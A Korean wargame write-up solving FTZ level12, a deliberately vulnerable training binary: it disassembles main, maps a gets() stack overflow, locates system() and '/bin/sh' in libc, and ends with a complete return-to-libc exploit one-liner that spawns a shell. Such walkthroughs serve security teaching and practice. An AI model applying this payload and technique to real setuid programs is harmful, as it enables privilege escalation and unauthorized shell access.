FTZ Level12
이번에도 BOF 문제입니다. 마찬가지로 소스코드를 복사해서 tmp에 생성하고 디버깅을 해 보도록 합시다.
우선 main함수를 리버싱해 보겠습니다.
0x08048390 <main+0>: push %ebp
0x08048391 <main+1>: mov %esp,%ebp
0x08048393 <main+3>: sub $0x108,%esp
0x08048399 <main+9>: and $0xfffffff0,%esp
0x0804839c <main+12>: mov $0x0,%eax
0x080483a1 <main+17>: sub %eax,%esp
스택 프레임을 생성하고, 스택 공간을 264byte 만큼 확보(char str[256] + dummy 8 bytes)하고, 플래그들을 정리해 줍니다.
0x080483a3 <main+19>: sub $0x8,%esp
0x080483a6 <main+22>: push $0xc15
0x080483ab <main+27>: push $0xc15
0x080483b0 <main+32>: call 0x80482d0 <setreuid>
0x080483b5 <main+37>: add $0x10,%esp
0x080483c8 <main+56>: sub $0xc,%esp
0x080483cb <main+59>: lea 0xfffffef8(%ebp),%eax
0x080483d1 <main+65>: push %eax
0x080483d2 <main+66>: call 0x80482a0 <gets>
0x080483d7 <main+71>: add $0x10,%esp
gets로 받아온 값을 출력해줍니다.
0x080483f1 <main+97>: leave
0x080483f2 <main+98>: ret
0x080483f3 <main+99>: nop
스택프레임 종결부분입니다.
우선 A를 264개 넣고 분석을 해 보겠습니다.
스택의 구성은 저번 문제와 크게 다르지 않은 것 같습니다.
[ BUF(256) ] | [ DUMMY(8) ] | [ SFP ] | [ RET ] | [ dummy ] | [ ARGV ]
exploit하기 위해서는 SFP까지 덮어주고, RET를 System으로 변경해 준 뒤, 다시 dummy를 덮고, ARGV에 /bin/sh를 넣어 주면 shell을 딸 수 있습니다.
$ objdump -d /lib/tls/libc.so.6 | grep __libc_system
$ strings -atx /lib/tls/libc.so.6 | grep "\/bin\/sh"
이를 통해서 system()함수의 주소와 /bin/sh의 주소를 구할 수 있습니다. (라이브러리 ASLR이 걸리지 않았기에 가능한 방법입니다.)
이를 기반으로 Attack code를 작성하면
$ (python -c 'print "A" * 268 + "\xc0\xf2\x03\x42" + "AAAA" + "\xa4\x7e\x12\x42"'; cat) | ./attackme
가 됩니다.